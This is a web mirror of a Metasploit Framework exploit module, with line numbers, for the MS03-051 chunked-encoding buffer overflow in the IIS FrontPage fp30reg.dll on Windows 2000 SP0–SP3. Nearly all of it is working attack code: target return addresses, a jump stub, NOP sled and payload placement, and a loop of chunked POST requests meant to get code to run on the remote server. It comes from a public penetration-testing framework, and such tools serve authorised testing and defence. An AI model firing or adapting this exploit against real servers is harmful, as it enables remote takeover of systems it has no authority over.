CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'MS03-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
14
'Description' => %q{
15
This is an exploit for the chunked encoding buffer overflow
16
described in MS03-051 and originally reported by Brett
17
Moore. This particular modules works against versions of
18
Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
19
issue.
20
},
21
'Author' => [ 'hdm' ],
22
'License' => MSF_LICENSE,
23
'References' =>
24
[
25
[ 'CVE', '2003-0822'],
26
[ 'OSVDB', '2952'],
27
[ 'BID', '9007'],
28
[ 'MSB', 'MS03-051'],
29
],
30
'Privileged' => false,
31
'Payload' =>
32
{
33
'Space' => 1024,
34
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
35
'StackAdjustment' => -3500,
36
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll
42
['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/2002
43
['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/1999
44
],
45
'DisclosureDate' => '2003-11-11',
46
'DefaultTarget' => 0))
47
48
register_options(
49
[
50
OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
51
])
52
end
53
54
def exploit
55
56
print_status("Creating overflow request for fp30reg.dll...")
57
58
pat = rand_text_alphanumeric(0xdead)
59
pat[128, 4] = [target.ret].pack('V')
60
pat[264, 4] = [target.ret].pack('V')
61
62
# sub eax,0xfffffeff; jmp eax
63
pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
64
65
pat[280, 512] = make_nops(512)
66
pat[792, payload.encoded.length] = payload.encoded
67
68
0.upto(15) do |i|
69
70
if (i % 3 == 0)
71
print_status("Refreshing the remote dllhost.exe process...")
72
73
res = send_request_raw({
74
'uri' => normalize_uri(datastore['URL'])
75
}, -1)
76
77
if (res and res.body =~ /specified module could not be found/)
78
print_status("The server states that #{datastore['URL']} does not exist.\n")
79
return
80
end
81
end
82
83
print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")
84
85
res = send_request_raw({
86
'uri' => normalize_uri(datastore['URL']),
87
'method' => 'POST',
88
'headers' =>
89
{
90
'Transfer-Encoding' => 'Chunked'
91
},
92
'data' => "DEAD\r\n#{pat}\r\n0\r\n"
93
}, 5)
94
95
if (res and res.body =~ /specified module could not be found/)
96
print_status("The server states that #{datastore['URL']} does not exist.\n")
97
return
98
end
99
100
handler
101
102
select(nil,nil,nil,1)
103
end
104
end
105
106
def check
107
print_status("Requesting the vulnerable ISAPI path...")
108
r = send_request_raw({
109
'uri' => normalize_uri(datastore['URL'])
110
}, -1)
111
112
if (r and r.code == 501)
113
return Exploit::CheckCode::Detected
114
end
115
return Exploit::CheckCode::Safe
116
end
117
end
118
119